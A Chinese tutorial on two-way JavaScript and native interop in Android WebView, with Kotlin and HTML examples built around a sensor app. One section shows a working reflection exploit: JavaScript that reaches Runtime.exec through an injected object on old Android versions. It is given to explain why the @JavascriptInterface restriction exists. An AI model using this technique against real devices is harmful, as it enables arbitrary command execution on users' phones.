在 Android WebView 中实现和 JavaScript 的互操作

前言

在 APP 中内嵌一个 H5 来实现特定的业务功能已经是非常成熟且常用的方案了。

虽然 H5 已经能够实现大多数的需求,但是对于某些需求还是得依靠原生代码来实现然后与 JavaScript 进行交互,例如我目前所负责的项目就是一个 “智能硬件” 设备,需要外接非常多的硬件或传感器获取特定的数据,并在实际业务中使用。此时如果直接使用 H5 是无法获取到这些数据的,这就必须依赖于安卓原生提供相应的数据。

JavaScript 调用 Android 原生方法

webView.addJavascriptInterface()

简介

webView.addJavascriptInterface() 有两个参数 Object obj, String interfaceName 。

  1. 其中 object 即需要提供给 js 调用的对象。在 Android 4.1.2 (API 16) 以下时,js 可以调用该对象的所有公开方法;在 Android 4.2 (API 17)以上时, js 只能调用添加了 @JavascriptInterface 注解的公开方法。

之所以会有这样的改动,是因为在 API 16 之前可以调用所有公开方法具有安全隐患,例如可以利用 jave 的反射机制实现任意命令的执行。

  1. interfaceName 即 js 调用时的接口名称。

使用方法

首先,我们定义一个类用于给 js 调用:

class TestJsBridge {@JavascriptInterfacefun getCurrentTemperature(): String {val data = "37.5" // 模拟从传感器获取的数据return data}
}

然后,我们需要允许 WebView 的 js 支持:

val webSettings = webView.settings
webSettings.javaScriptEnabled = true

接下来,将第一步中定义的 TestJsBridge 对象通过 addJavascriptInterface 注入到 js 中:

webView.addJavascriptInterface(TestJsBridge(), "NativeBridge")

现在,我们就可以直接在 JavaScript 中调用这个方法了:

<script type="text/javascript">var temp = NativeBridge.getCurrentTemperature();
</script>

此时,在 js 中,temp 的值就是 37.5 。

另外需要注意的是,js 调用 java 的方法不是在主线程中调用的,而是在 webview 自己线程中调用的,所以在编写某些涉及到 UI 的操作时需要先切换至主线程。

漏洞解析

对了,上文中说过在 API 16 以下的 addJavascriptInterface 有安全隐患,这里简单举一个例子演示如何通过反射在 js 中执行任意 sh。

首先,依旧是提供一个对象供 js 调用,这里我们直接给一个空对象:

class TestJsBridge {}

然后注入到 js 中:

webView.addJavascriptInterface(TestJsBridge(), "NativeBridge")

最后在 js 中这样写:

<script type="text/javascript">
for (var obj in window) {try {if ("getClass" in window[obj]) {try{ret= NativeBridge.getClass().forName("java.lang.Runtime").getMethod('getRuntime',null).invoke(null,null).exec(['echo', 'hello,equationl', '>', './sdcard/hack.txt']);} catch(e) { }}} catch(e) {}
}
</script>

这样,即使我们注入 js 的对象什么方法都没写,还是会被执行 sh ,上述 sh 就是输入一段字符串 “hello,equationl” 到 /sdcard/hack.txt 文件中。

shouldOverrideUrlLoading 拦截 URL

简介

我们可以通过 webview 的 shouldOverrideUrlLoading 拦截到当前请求的 URL,并且可以修改以什么样的方式去处理这个 URL。

换言之,我们可以在 js 中通过请求不同的 URL 来实现调用 java 代码并且传递值。

使用方法

首先,我们需要自己规定一下哪种形式的 URL 会被认为是需要被拦截处理的。

这里我们就简单的定为 “jsBridge://” 开头的 URL 表示需要被拦截处理,而其后跟着的路径表示调用哪个方法以及附带的参数。

例如,“jsBridge://getNewMsg?id=monkey_fish” 表示需要调用 java 的 getNewMsg 方法,并且附带参数 id 为 monkey_fish 。

接下来,我们覆写 webview 的 shouldOverrideUrlLoading 方法,并在其中对 URL 进行处理。

webView.webViewClient = object : WebViewClient() {override fun shouldOverrideUrlLoading(view: WebView, request: WebResourceRequest): Boolean {// ------  对alipays:相关的scheme处理 -------val url = request.url.toString()if (url.startsWith("jsBridge://")) {// 解析参数等等等,然后调用安卓代码,这里假设是跳转到一个新的 Activity// ……val intent = Intent(this@WebViewHolderActivity, MsgActivity::class.java)startActivity(intent)return true}return super.shouldOverrideUrlLoading(view, request)}
}

在 shouldOverrideUrlLoading 方法中返回 true 表示当前 URL 已被拦截,webview 将取消继续加载,false 则表示继续使用 webview 加载。

那么,js 如何调用这个方法呢?其实也很简单,只要重定向一下当前网址即可:

<script type="text/javascript">document.location = "jsBridge://getNewMsg?id=monkey_fish";
</script>

通过上面的例子我们可以看出,这个方式其实不太适合于 js 和 安卓原生的交互,反而更适合用于回调某些内容,并且这个内容不需要网页继续操作。

事实上,大多数情况下这个方法是用于网页授权登录或者网页支付等场景的。

例如,业务中某项第三方授权登录使用的是 webview 打开第三方授权网页,在网页上完成登录后,该第三方网页会重定向到特定的 URL,并在其中带入 token,例如:“authorize:xxxxxxxxxxx”。

此时,我们只需要拦截具有上述规则的 URL,并跳转到我们的登录界面即可,也就是说,后续操作就没有这个网页什么事了。

拦截对话框

简介

我们还可以通过覆写 onJsAlert 、 onJsConfirm 、 onJsPrompt 实现对 js 中的 alert() confirm() prompt() 三种不同的对话框的拦截和修改,从而变相的达到 js 调用原生代码的目的。

三个对话框都可以通过 message 参数向安卓传递参数。

第一个对话框不能返回数据给 js ; 第二个对话框只能返回一个 Boolean 值给 js ;最后一个对话框 onJsPrompt 可以返回一个字符串给 js,所以一般都是使用 onJsPrompt 来实现 js 和安卓的交互,因此我们接下来就只以 onJsPrompt 举例。

使用方法

要覆写 onJsPrompt 需要先创建一个类继承自 WebChromeClient() ,然后在其中覆写 onJsPrompt :

    class MyWebChromeClient : WebChromeClient() {override fun onJsPrompt(view: WebView, url: String, message: String, defaultValue: String, result: JsPromptResult): Boolean {val resultMsg = getNext(message)result.confirm(resultMsg)return true}}

其中,result.confirm(resultMsg) 相当于我们点击了这个对话框的确定按钮,并且返回提供的值(resultMsg)。如果调用 result.cancel() 则相当于点击了这个对话框的取消按钮,此时返回值为 null 。

而 getNext 是我们的原生逻辑代码,它会返回一个 String 的结果:

    fun getNext(id: String): String {// ……if (id == "fish") return "我多么想成为你的鹿"// ……return ""}

然后将该类设置到 webview 上:

webView.webChromeClient = MyWebChromeClient()

现在,我们只需要在 js 中如此调用即可:

<script type="text/javascript">var nextMsg = prompt("fish");
</script>

此时 js 中的 nextMsg 变量就是通过原生安卓拿到的 “我多么想成为你的鹿” 。

Android 调用 JavaScript 方法

evaluateJavascript()

要在 webview 中调用 js 代码也非常简单,官方给出的方案就是直接使用 evaluateJavascript() 。

evaluateJavascript() 接收两个参数: script 和 resultCallback ,其中 script 就是我们要执行的 js 代码,可以执行任意 js 代码;而 resultCallback 是执行结果回调,返回结果是 String 类型。

使用起来也十分简单,例如我们想要调用 js 显示一个 alert 弹框:

webView.evaluateJavascript("alert('hello, my fish, my monkey');") {println("执行结果: $it")
}

需要注意的是这里的返回结果是空的,因为 alert 本来就没有返回值。

loadUrl()

另外一种在 webview 中调用 js 的代码的方法就是使用 loadUrl(),其实顾名思义,loadUrl() 是用来加载 URL 的,但是它同样可以用来执行 js ,就如同我们直接在浏览器地址栏中输入一样:

javascript:alert('hello, my deer');

1.png

在 webview 中使用也一样:

webView.loadUrl("javascript:alert('hello, my deer');")

但是使用这种方式调用有一种显而易见的缺点,那就是我们无法直接拿到 js 执行的结果。

实践使用

上面已经简要介绍了如何实现安卓原生和 H5 或者说和 js 的交互。

下面我就简单说一下在实际中的应用。

还是以我负责的这个项目为例,在我这个项目中更多的是需要将硬件的能力或者说数据传递给 js 以供 H5 来使用,所以我基本都是在使用 webView.addJavascriptInterface() 。

另外在提供数据给 js 时还会涉及到两种提供方式。

因为在这个项目中,所有硬件的数据都是实时轮询后实时回报给安卓端 APP 的,所以在提供给 JS 时同样需要提供两种形式的数据:一是当前某个传感器的瞬时数据;二是希望能够实时提供某个传感器的数据。

对于情况一非常好实现,这里以获取温度传感器的瞬时值举例。

首先先定义一些工具方法,用于将返回的数据格式化成固定格式:

    fun getCommonResponse(code: Int = WebViewCode.OK, message: String = "", data: String): String {return Gson().toJson(CommonResponse(code, message, data))}

然后定义需要注入 js 的接口:

class JsTemp {@JavascriptInterfacefun getCurrentTemp(): String {if (!TempManager.isConnected()) {return WebViewUtil.getCommonResponse(code = WebViewCode.TempNotConnect, message = "没有连接温度传感器", data = "")}if (!TempManager.isDeviceExist()) {return WebViewUtil.getCommonResponse(code = WebViewCode.TempNotFound, message = "没有可用的温度传感器", data = "")}return WebViewUtil.getCommonResponse(data = TempManager.currentTemp.toString())}
}

将其注入 webView:

val jsTemp by lazy { JsTemp() }
val JsTempObject = "NativeTemp"// ……webView.addJavascriptInterface(jsTemp, JsTempObject)

然后在 H5 中如此调用:

<html><head><title>test</title>
</head><body><div class="toast-div" id="currentTemp" onclick="getCurrentTemp()">获取当前温度</div><div id="temp">temp: null</div></body><script type="text/javascript">function getCurrentWeight() {document.getElementById("temp").innerHTML = "current temp: "+ NativeTemp.getCurrentTemp();}</script>
</html>

这样即可在 H5 获取当前温度的瞬时值。

如果我们想要在 H5 中实时获取温度值的话,我们可以事先在 js 中定义好需要的回调函数,然后将函数传递给 webview,再由安卓原生在轮询温度值时通过 evaluateJavascript 将值回调给设置的 js 回调函数。

代码如下,

首先,在 H5 中定义好用于接收温度的值的回调函数,以及界面:

<!-- …… --><div class="toast-div" onclick="NativeTemp.addOnTempChangeListener('onTempChange')">添加温度监听</div><div class="toast-div" onclick="NativeTemp.removeOnTempChangeListener('onTempChange')">移除温度监听</div><!-- …… --><script type="text/javascript"><!-- …… -->function onTempChange(temp) {document.getElementById("temp").innerHTML = "temp callback: "+temp + " | " + Date.now();}<!-- …… --></script>

其中的 onTempChange 即为我们定义的用于接收回调的 js 函数名称。

然后在安卓的接口类中:

// ……/*** 添加温度改变时的监听回调** @param callbackFunName JS 函数名,温度改变时回调给哪个 JS 函数* @return 返回添加结果* */@JavascriptInterfacefun addOnTempChangeListener(callbackFunName: String): String {if (!TempManager.isConnected()) {return WebViewUtil.getCommonResponse(code = WebViewCode.TempNotConnect, message = "没有连接温度传感器", data = "")}if (!TempManager.isDeviceExist()) {return WebViewUtil.getCommonResponse(code = WebViewCode.TempNotFound, message = "没有可用的温度传感器", data = "")}val result = onTempChangeFunName.add(callbackFunName)return if (result) {WebViewUtil.getCommonResponse(data = "OK")} else {WebViewUtil.getCommonResponse(code = WebViewCode.CallBackAlreadyAdd, message = "$callbackFunName 已经添加", data = "")}}/*** 移除温度改变时的监听回调** @param callbackFunName JS 函数名,已添加的 JS 函数* @return 返回移除结果* */@JavascriptInterfacefun removeOnTempChangeListener(callbackFunName: String): String {val result = onTempChangeFunName.remove(callbackFunName)return if (result) {WebViewUtil.getCommonResponse(data = "OK")} else {WebViewUtil.getCommonResponse(code = WebViewCode.CallBackNotExist, message = "$callbackFunName 不存在", data = "")}}
// ……

其中的 onTempChangeFunName 是我们的定义的一个 Set ,用于存放当前设置的回调函数名称:val onTempChangeFunName: MutableSet<String> = mutableSetOf() 。

最后,在轮询温度的地方调用:

while (true) {// ……val result = 36.5 // 模拟轮询到温度结果// ……if (onTempChangeFunName.isNotEmpty()) {val json = WebViewUtil.getCommonResponse(data = result.toString())for (function in onTempChangeFunName) {webView.evaluateJavascript("$function('$json');") {}}}delay(50)
}

自此,我们实时获取温度传感器数值的目的也达成了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.tpcf.cn/news/213576.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【PyTorch】卷积神经网络

文章目录 1. 理论介绍1.1. 从全连接层到卷积层1.1.1. 背景1.1.2. 从全连接层推导出卷积层 1.2. 卷积层1.2.1. 图像卷积1.2.2. 填充和步幅1.2.3. 多通道 1.3. 池化层&#xff08;又称汇聚层&#xff09;1.3.1. 背景1.3.2. 池化运算1.3.3. 填充和步幅1.3.4. 多通道 1.4. 卷积神经…

实现React18加TS,解决通用后台管理系统,实战方案落地有效实践经验

随着前端技术的不断发展和更新&#xff0c;使用React 18结合TypeScript&#xff08;TS&#xff09;来构建通用后台管理系统已成为一种常见的选择。本文将介绍如何在项目中应用React 18和TS&#xff0c;并分享一些实战方案的有效实践经验。 一、搭建React 18 TS项目 首先&…

12.2每日一题(1无穷型幂指函数:二倍角公式+三部曲+等价无穷小代换(只有整体的因子不为0才能先算出来))

注意&#xff1a;求极限不能想先算哪里就先算哪里&#xff0c;只有整体的因子不为0才能先算出来&#xff0c;部分不为0不可以先算

外贸老业务也棘手的一个问题

这几天有2个老业务都被一个类同的问题缠住了。 客户定购了三台车&#xff0c;由于是非常规要求所以我建议收取全款或者最少收50%的定金。但是业务员为了当月业绩或者为了拿到就收了客户20% 或者30% &#xff0c;定金收到了&#xff0c;我也不好再逼着业务员去加收定金。 订单就…

记录 | ubuntu上安装fzf

在 ubuntu 上采用命令行安装 fzf 的方式行不通 指的是采用下面的方式行不通&#xff1a; sudo apt install fzf # 行不通 sudo snap install fzf --classic # 行不通正确的安装方式是&#xff1a; ● 到 fzf 的 git 仓库&#xff1a;https://github.com/junegunn/fzf/re…

在高数据量中如何优化MySQL的Group by语句?

在实际开发环境中&#xff0c;MySQL的GROUP BY操作的优化需要结合具体的业务场景和数据特点。以下是一些建议&#xff0c;可以帮助你在实际开发中优化GROUP BY查询&#xff1a; 使用合适的索引&#xff1a; 确保GROUP BY和ORDER BY中的列上存在索引。这有助于加速分组和排序操作…

计算机毕业设计 基于SpringBoot的电动车租赁系统的设计与实现 Java实战项目 附源码+文档+视频讲解

博主介绍&#xff1a;✌从事软件开发10年之余&#xff0c;专注于Java技术领域、Python人工智能及数据挖掘、小程序项目开发和Android项目开发等。CSDN、掘金、华为云、InfoQ、阿里云等平台优质作者✌ &#x1f345;文末获取源码联系&#x1f345; &#x1f447;&#x1f3fb; 精…

场景示例:有赞商城 × 微盛企微管家,助力零售企业,实现私域运营自动化

1 场景描述 在零售行业内&#xff0c;线上渠道已经是零售行业的主要销售渠道&#xff0c;大多数零售企业都会将产品上架到有赞商城&#xff0c;并使用微盛企微管家系统进行客户管理和服务&#xff0c;希望能对客户画像进行精细化管理&#xff0c;以提升销售和服务效率。 然而&a…

2023年最新prometheus + grafana搭建和使用+gmail邮箱告警配置

一、安装prometheus 1.1 安装 prometheus官网下载地址 sudo -i mkdir -p /opt/prometheus #移动解压后的文件名到/opt/,并改名prometheus mv prometheus-2.45 /opt/prometheus/ #创建一个专门的prometheus用户&#xff1a; -M 不创建家目录&#xff0c; -s 不让登录 useradd…

女士内衣市场分析:预计2028年将达到643.08亿美元

内衣 (英文名:Underwear)&#xff0c;是指贴身穿的衣物。内衣有保暖及污秽的危害作用&#xff0c;有时会被视为性征。女士内衣行业生产的主要原料是各类织布或无纺布&#xff0c;成分有海绵、边、定型纱、骨胶、肩带等&#xff0c;布面料在内衣企业的生产成本中所占比重较大。女…

Python基础(四、探索迷宫游戏)

Python基础&#xff08;四、探索迷宫游戏&#xff09; 游戏介绍游戏说明 游戏介绍 在这个游戏中&#xff0c;你将扮演一个勇敢的冒险者&#xff0c;进入了一个神秘的迷宫。你的任务是探索迷宫的每个房间&#xff0c;并最终找到隐藏在其中的宝藏。 游戏通过命令行界面进行交互…

web 前端之标签练习+知识点

目录 实现过程&#xff1a; 结果显示 1、HTML语法 2、注释标签 3、常用标签 4、新标签 5、特殊标签 6、在网页中使用视频和音频、图片 7、表格标签 8、超链接标签 使用HTML语言来实现该页面 实现过程&#xff1a; <!DOCTYPE html> <html><head>…

泡沫包装市场分析:预计2029年将达到659亿元

泡沫包装&#xff0c;简单地讲&#xff0c;就是用数学方法对无线电测量或光学测量所获得的弹道数据进行检验、整理、校正、计算&#xff0c;减小或消除数据的误差&#xff0c;得出反映运载火箭运动轨迹的精确弹道参数。通常所说的泡沫包装&#xff0c;主要是指由可发性聚苯乙烯…

面试操作系统八股文五问五答第二期

面试操作系统八股文五问五答第二期 作者&#xff1a;程序员小白条&#xff0c;个人博客 相信看了本文后&#xff0c;对你的面试是有一定帮助的&#xff01; ⭐点赞⭐收藏⭐不迷路&#xff01;⭐ 1.怎么解决死锁&#xff1f; 1、预防死锁&#xff1a;通过设置一些限制条件&am…

JAVA面试题8

1.Java中的线程是什么&#xff1f; 它有什么作用&#xff1f; 答案&#xff1a;线程是程序执行流的最小单位&#xff0c;用于实现多任务并发执行。Java中的线程可以实现并发编程&#xff0c;提高程序的性能和响应性。 2.什么是Java中的同步&#xff08;Synchronization&#x…

超静音的两相步进电机驱动芯片GC6609,GC6610的性能分析

两相步进电机驱动芯片GC6609&#xff0c;GC6610它们是一款超静音的两相步进电机驱动芯片&#xff0c;内置最大 256 细分的步进驱动模式&#xff0c; 超静音&#xff0c;低振动。芯片可以工作在 4~36V 的宽工作电压范围内&#xff0c;平均工作电流可以达到 2A和2.5A &#xff0c…

大数据机器学习算法项目——基于Django/协同过滤算法的房源可视化分析推荐系统的设计与实现

大数据机器学习算法项目——基于Django/协同过滤算法的房源可视化分析推荐系统的设计与实现 技术栈&#xff1a;大数据爬虫/机器学习学习算法/数据分析与挖掘/大数据可视化/Django框架/Mysql数据库 本项目基于 Django框架开发的房屋可视化分析推荐系统。这个系统结合了大数据…

STM32-01-认识单片机

文章目录 一、单片机简介二、Cortex-M系列介绍三、初识STM32四、STM32原理图设计五、搭建开发环境六、STM32初体验七、MDK5使用技巧 一、单片机简介 单片机是什么&#xff1f; 单片机&#xff1a;Single-Chip Microcomputer&#xff0c;单片微型计算机&#xff0c;是一种集成电…

python获得曲线峰值的个数

import numpy as np from scipy.signal import find_peaks import matplotlib.pyplot as plt# 生成示例数据 x np.linspace(0, 10, 100) y np.sin(x)# 查找峰值 peaks, _ find_peaks(y)# 绘制曲线和峰值点 plt.plot(x, y) plt.plot(x[peaks], y[peaks], ro)# 显示峰值个数 n…

Golang channle(管道)基本介绍、快速入门

channel(管道)-基本介绍 为什么需要channel&#xff1f;前面使用全局变量加锁同步来解决goroutine的通讯&#xff0c;但不完美 1)主线程在等待所有goroutine全部完成的时间很难确定&#xff0c;我们这里设置10秒&#xff0c;仅仅是估算。 2)如果主线程休眠时间长了&#xff0c…